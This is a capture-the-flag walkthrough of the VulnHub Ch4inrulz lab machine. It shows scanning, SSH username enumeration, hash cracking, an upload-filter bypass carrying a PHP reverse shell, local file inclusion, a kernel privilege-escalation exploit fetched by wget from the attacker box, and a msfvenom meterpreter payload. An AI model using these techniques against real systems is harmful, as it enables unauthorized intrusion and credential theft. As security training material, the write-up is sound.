Walkthrough of the Ch4inrulz challenge from vulnhub.
A netdiscover finds the machine. Running a basic nmap scan (command: nmap -A -T4 192.168.139.130) against it finds a few things of interest.
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.5 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.139.129 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 2.3.5 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA) | 2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA) |_ 256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: FRANK's Website | Under development 8011/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). MAC Address: 00:0C:29:98:35:25 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.19 - 2.6.36
Key items from the scan:
- There is a FTP instance running that allows for anonymous login. Anonymous login allows any user to access the service.
- There is a SSH server running
- There is a web server running, banner information indicates it belongs to ‘Frank’ with nothing in the robots.txt file (it’s ‘under development’)
- There is a web type service running on port 8011. The http-server-header matches the port 80 service. This indicates the same instance of Apache is running both services.
- The server looks to be Linux based running an older kernel (nmap is guessing a 2.6.x version)
Each identified service is then checked for opportunities.
Probing FTP doesn’t identify any opportunities to progress. Anonymous FTP access is available but the server has no files to access. Also write access from anonymous FTP is blocked. Searching for vsFTPd 2.3.5 exploits doesn’t identify any of interest.
Connected to 192.168.139.130. 220 (vsFTPd 2.3.5) Name (192.168.139.130:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 111 4096 Apr 13 2018 . drwxr-xr-x 2 0 111 4096 Apr 13 2018 .. 226 Directory send OK. ftp> put temp local: temp remote: temp 200 PORT command successful. Consider using PASV. 550 Permission denied.
The SSH server is a little more interesting. It supports username and password authentication so a later brute force attempt may be possible. The reported version of OpenSSH is vulnerable to username enumeration (CVE-2018-15473)
Exploit code from https://www.exploit-db.com/exploits/45939 is used to test a few usernames. Assumption is the system will have a user root (default user on linux hosts) and user frank (as returned by http-title from the port scan). Guess is that username bob won’t be on the system. Running the exploit code shows the guesswork is correct.
root@kali2019:~/Documents/CHAIN# python 45939.py 192.168.139.130 frank [+] frank is a valid username root@kali2019:~/Documents/CHAIN# python 45939.py 192.168.139.130 bob [-] bob is an invalid username root@kali2019:~/Documents/CHAIN# python 45939.py 192.168.139.130 root [+] root is a valid username
Port 80 shows a website belonging to Frank Tope.
Running a basic web enumeration scan (command: dirb http://192.168.139.130) against it flags two things of interest.
---- Scanning URL: http://192.168.139.130/ ---- + http://192.168.139.130/cgi-bin/ (CODE:403|SIZE:291) ==> DIRECTORY: http://192.168.139.130/css/ + http://192.168.139.130/development (CODE:401|SIZE:482) ==> DIRECTORY: http://192.168.139.130/img/ + http://192.168.139.130/index (CODE:200|SIZE:334) + http://192.168.139.130/index.html (CODE:200|SIZE:13516) ==> DIRECTORY: http://192.168.139.130/js/ + http://192.168.139.130/LICENSE (CODE:200|SIZE:1093) + http://192.168.139.130/robots (CODE:200|SIZE:21) + http://192.168.139.130/robots.txt (CODE:200|SIZE:21) + http://192.168.139.130/server-status (CODE:403|SIZE:296)
- There is a /development directory. The scanner was unauthorised (CODE: 401) when attempting to open it. Inspecting the URL directly shows it is using basic HTTP authentication – requires a username & password
- The file at http://192.168.139.130/index is different to the size of the main index.html file. Viewing the file directly shows a remnant of earlier site development work.
<html><body><h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> <a href="/development">development</a> <!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path --> </body></html>
A .htpasswd file is used by Apache to password protect web items. Reviewing the hash type format suggests this is hash type 1600 – Apache $apr1$ MD5, md5apr1, MD5 (APR). Running this hash against hashcat using the rockyou.txt wordlist & best64.rule rules file gives a password of ‘frank!!!‘.
Testing these credentials against the /development directory confirms the credentials are correct. Returned page mentions there is an uploader tool that needs a security review.
A follow-up web enumeration scan (command: dirb http://192.168.139.130/development -u frank:frank\!\!\!) finds this at http://192.168.139.130/development/uploader/index.html.
---- Scanning URL: http://192.168.139.130/development/ ---- + http://192.168.139.130/development/index (CODE:200|SIZE:144) + http://192.168.139.130/development/index.html (CODE:200|SIZE:144) ==> DIRECTORY: http://192.168.139.130/development/uploader/ ---- Entering directory: http://192.168.139.130/development/uploader/ ---- + http://192.168.139.130/development/uploader/index (CODE:200|SIZE:1187) + http://192.168.139.130/development/uploader/index.html (CODE:200|SIZE:1187) + http://192.168.139.130/development/uploader/upload (CODE:200|SIZE:113)
The uploader page provides a typical interface to upload images and a comment ‘TODO : script security “50% FINISHED’. A summary of results from testing the upload tool are below.
- When uploading an image file the site returns: ‘File is an image – image/jpeg.The file profile.jpeg has been uploaded to my uploads path.’
- When re-uploading the same image the site returns: ‘File is an image – image/jpeg.Sorry, file already exists.Sorry, your file was not uploaded.’
- When uploading a non image file the site returns: ‘File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.’
- When uploading an image renamed to end in php the site returns: ‘File is an image – image/jpeg.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.’
- When uploading a non-image renamed to end in jpg the site returns: ‘File is not an image.Sorry, your file was not uploaded.‘
A review of the results suggests how the upload script is checking files. First the upload script checks if the file extension ends with .jpg / .png or .gif. If not it rejects the file. Secondly the upload script is analysing the file to check if it is an image or not. Given the hint that the security of the page is 50% finished, guess is this is being done looking at magic bytes (https://en.wikipedia.org/wiki/List_of_file_signatures). Lastly the upload script checks if the file name already exists.
Taking this into account a PHP reverse shell is customised. PHP is chosen as the base given the site appears to be running Linux / Apache. The stock PHP reverse shell from http://pentestmonkey.net/tools/web-shells/php-reverse-shell) is used with attacking machines port number and IP set. Lastly the file is renamed to end in png and first few bytes are edited to contain the correct magic bytes.
From reviewing https://en.wikipedia.org/wiki/List_of_file_signatures a PNG file as 8 magic bytes. A text editor is used to add 8 ASCII characters to the front of the file (‘/’ were used). A hex editor was then used to replace these with the corresponding magic bytes. The upload script then accepts the customised shell.
In order to trigger the shell the uploads directory needs to be located. Initial guesswork fails so finding this will take a bit of fuzzing. First create a list of likely upload paths. For this purpose, all words containing upload is extracted from a larger wordlist and then run through john the ripper to mutate it.
root@kali2019:~/Documents/CHAIN# grep upload /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt > upload_paths root@kali2019:~/Documents/CHAIN# wc -l upload_paths 37 upload_paths root@kali2019:~/Documents/CHAIN# john --wordlist=upload_paths --rules --stdout > mutated_upload_paths Using default input encoding: UTF-8 Press 'q' or Ctrl-C to abort, almost any other key for status 970p 0:00:00:00 100.00% (2019-05-26 16:40) 19400p/s Uploadimagesing root@kali2019:~/Documents/CHAIN# wc -l mutated_upload_paths 970 mutated_upload_paths
Fuzz attempt at when using the wordlist fails:
root@kali2019:~/Documents/CHAIN# wfuzz -w mutated_upload_paths --hc 404 -u http://192.168.139.130/FUZZ ******************************************************** * Wfuzz 2.3.4 - The Web Fuzzer * ******************************************************** Target: http://192.168.139.130/FUZZ Total requests: 970 ================================================================== ID Response Lines Word Chars Payload ================================================================== Total time: 1.143675 Processed Requests: 970 Filtered Requests: 970 Requests/sec.: 848.1426 root@kali2019:~/Documents/CHAIN# wfuzz -w mutated_upload_paths --hc 404 --basic frank:frank\!\!\! -u http://192.168.139.130/development/FUZZ ******************************************************** * Wfuzz 2.3.4 - The Web Fuzzer * ******************************************************** Target: http://192.168.139.130/development/FUZZ Total requests: 970 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000033: C=301 9 L 28 W 333 Ch "uploader" 000401: C=301 9 L 28 W 333 Ch "uploader?" Total time: 1.241181 Processed Requests: 970 Filtered Requests: 968 Requests/sec.: 781.5136 root@kali2019:~/Documents/CHAIN# wfuzz -w mutated_upload_paths --hc 404 --basic frank:frank\!\!\! -u http://192.168.139.130/development/uploader/FUZZ ******************************************************** * Wfuzz 2.3.4 - The Web Fuzzer * ******************************************************** Target: http://192.168.139.130/development/uploader/FUZZ Total requests: 970 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000002: C=200 1 L 18 W 113 Ch "upload" 000387: C=200 1 L 18 W 113 Ch "upload?" Total time: 1.230362 Processed Requests: 970 Filtered Requests: 968 Requests/sec.: 788.3857
Reviewing the upload messages again the phrase my uploads is noticed. Name on the main site is Frank Tope. A user strings file is created and then run through a standard mutation to get several options.
root@kali2019:~/Documents/CHAIN# cat user_strings frank tope franks franktope franktopes root@kali2019:~/Documents/CHAIN# wc -l user_strings 5 user_strings root@kali2019:~/Documents/CHAIN# john --wordlist=user_strings --rules --stdout > mutated_user_strings Using default input encoding: UTF-8 Press 'q' or Ctrl-C to abort, almost any other key for status 253p 0:00:00:00 100.00% (2019-05-26 16:46) 5060p/s Franktopesing root@kali2019:~/Documents/CHAIN# wc -l mutated_user_strings 253 mutated_user_strings
Fuzzing attempt is then repeated. After combining both wordlists together the uploads directory is successfully found – http://192.168.139.130/development/uploader/FRANKuploads/
root@kali2019:~/Documents/CHAIN# wfuzz -w mutated_user_strings -w mutated_upload_paths --hc 404 --basic frank:frank\!\!\! -u http://192.168.139.130/development/uploader/FUZZFUZ2Z Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.3.4 - The Web Fuzzer * ******************************************************** Target: http://192.168.139.130/development/uploader/FUZZFUZ2Z Total requests: 245410 ================================================================== ID Response Lines Word Chars Payload ================================================================== 036861: C=301 9 L 28 W 346 Ch "FRANK - uploads" 036922: C=301 9 L 28 W 346 Ch "FRANK - uploads"
The uploaded shell is shown in the uploads directory. It does not trigger however when loaded into the browser. Attempting to download it using curl also doesn’t cause it to trigger. Assumption is either the HTTP service running on port 80 does not have PHP enabled (no PHP files found through web enumeration scans run so far) or is failing to trigger due to the file ending in .php.
Loading port 8011 indicates it is used as a development server. A basic web enumeration scan (command: dirb http://192.168.139.130:8011/) identifies an API directory.
---- Scanning URL: http://192.168.139.130:8011/ ---- ==> DIRECTORY: http://192.168.139.130:8011/api/ + http://192.168.139.130:8011/index.html (CODE:200|SIZE:30) + http://192.168.139.130:8011/server-status (CODE:403|SIZE:298) ---- Entering directory: http://192.168.139.130:8011/api/ ---- + http://192.168.139.130:8011/api/index.html (CODE:200|SIZE:351)
Loading the API directory index.html file gives the names of a number of files. After manually testing each of them files_api.php is the only found present. Loading the page advises no parameter called file was passed.
Attempting to pass the file parameter via a GET HTTP parameter (http://192.168.139.130:8011/api/files_api.php?file=/etc/passwd) triggers a warning of ********* HACKER DETECTED *********. Sending the data via a HTTP POST parameter works.
root@kali2019:~/Documents/CHAIN# curl -d "file=/etc/passwd" http://192.168.139.130:8011/api/files_api.php <head> <title>franks website | simple website browser API</title> </head> root:x:0:0:root:/root:/bin/bash bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false frank:x:1000:1000:frank,,,:/home/frank:/bin/bash sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false
The password file appears genuine. This is based on it containing the user frank that was identified during SSH username enumeration. Some further manual checks confirms:
- /var/www points to the webroot (the main index.html file can be fetched using “file=/var/www/index.html”)
- Attempting to load file values using a RFI syntax doesn’t work (can’t remotely load scripts)
Calling the previously loaded shell via this method (command: curl -d “file=/var/www/development/uploader/FRANKuploads/bobshell.php.png” http://192.168.139.130:8011/api/files_api.php) is able to generate a stable reverse shell.
From an initial review of the machine the user flag is found in the home directory for frank (/home/frank) along with a hint to try and get privilege escalation as fast as you can.
$ ls -al total 36 drwxr-xr-x 3 frank frank 4096 Apr 14 2018 . drwxr-xr-x 3 root root 4096 Apr 13 2018 .. -rw------- 1 frank frank 26 Jul 31 2018 .bash_history -rw-r--r-- 1 frank frank 220 Apr 13 2018 .bash_logout -rw-r--r-- 1 frank frank 3353 Apr 13 2018 .bashrc drwxr-xr-x 2 frank frank 4096 Apr 13 2018 .cache -rw-r--r-- 1 frank frank 675 Apr 13 2018 .profile -rw-r--r-- 1 frank frank 0 Apr 13 2018 .sudo_as_admin_successful -rw-r--r-- 1 frank frank 29 Apr 14 2018 PE.txt -rw-r--r-- 1 frank frank 33 Apr 14 2018 user.txt $ cat user.txt 4795aa2a9be22fac10e1c25794e75c1b $ cat PE.txt Try it as fast as you can ;)
As a fast way for privilege escalation a kernel exploit is tried. Checking the version against the Linux exploit suggester (command: Linux_Exploit_Suggester.pl -k 2.6.35) identifies a number of candidates.
Kernel local: 2.6.35 Possible Exploits: [+] can_bcm CVE-2010-2959 Source: http://www.exploit-db.com/exploits/14814/ [+] half_nelson Alt: econet CVE-2010-3848 Source: http://www.exploit-db.com/exploits/6851 [+] caps_to_root CVE-n/a Source: http://www.exploit-db.com/exploits/15916/ [+] pktcdvd CVE-2010-3437 Source: http://www.exploit-db.com/exploits/15150/ [+] half_nelson3 Alt: econet CVE-2010-4073 Source: http://www.exploit-db.com/exploits/17787/ [+] half_nelson1 Alt: econet CVE-2010-3848 Source: http://www.exploit-db.com/exploits/17787/ [+] american-sign-language CVE-2010-4347 Source: http://www.securityfocus.com/bid/45408/ [+] rds CVE-2010-3904 Source: http://www.exploit-db.com/exploits/15285/ [+] half_nelson2 Alt: econet CVE-2010-3850 Source: http://www.exploit-db.com/exploits/17787/
After reviewing the listed exploits and trialling a few success is had with rds
$ python -c 'import pty; pty.spawn("/bin/sh")' $ wget http://192.168.139.129/15285.c -O 15285.c wget http://192.168.139.129/15285.c -O 15285.c --2019-06-01 02:19:56-- http://192.168.139.129/15285.c Connecting to 192.168.139.129:80... connected. HTTP request sent, awaiting response... 200 OK Length: 7155 (7.0K) [text/plain] Saving to: `15285.c' 100%[======================================>] 7,155 --.-K/s in 0s 2019-06-01 02:19:56 (744 MB/s) - `15285.c' saved [7155/7155] $ gcc 15285.c -o exploit gcc 15285.c -o exploit $ ./exploit ./exploit [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved security_ops to 0xffffffff81ce8df0 [+] Resolved default_security_ops to 0xffffffff81a523e0 [+] Resolved cap_ptrace_traceme to 0xffffffff8125db60 [+] Resolved commit_creds to 0xffffffff810852b0 [+] Resolved prepare_kernel_cred to 0xffffffff81085780 [*] Overwriting security ops... [*] Overwriting function pointer... [*] Triggering payload... [*] Restoring function pointer... [*] Got root! # id id uid=0(root) gid=0(root) groups=0(root) # cd /root cd /root # ls ls root.txt # cat root.txt cat root.txt 8f420533b79076cc99e9f95a1a4e5568
Password hashes are extracted and cracking of these is attempted (output is amended to remove users that don’t have a hash listed). Attempts at cracking this hash using a wordlist are not successful.
# cat /etc/shadow cat /etc/shadow frank:$1$VtRh9q0L$JpTHikYVdbgi2UD2kj.kp1:17634:0:99999:7:::
Checking the access.log file for the HTTP server shows some interesting IPs. Assume the 192.168.209.x addresses were from when the challenge was setup:
# cat access.log | cut -d " " -f 1 | sort -u cat access.log | cut -d " " -f 1 | sort -u 127.0.0.1 192.168.139.129 192.168.209.1 192.168.209.131
Alternative Way – Metasploit
Metasploit can be used instead of the stock PHP shell and manual exploitation. First a reverse shell is made using msfvenom (command: msfvenom –payload php/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=5601 -f raw -o bob_met.php.png)
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 1116 bytes Saved as: bob_met.php.png
File is then amended & manually edited to introduce the correct magic bytes. File is then uploaded using the upload page. An exploit multi handler needs to be setup on the attacking box to catch the return shell.
Shell is then triggered using the API call. This establishes a stable Meterpreter shell.
System is then scanned for local suggested exploits. RDS is identified as the suitable exploit, running it via Metasploit yields a root shell: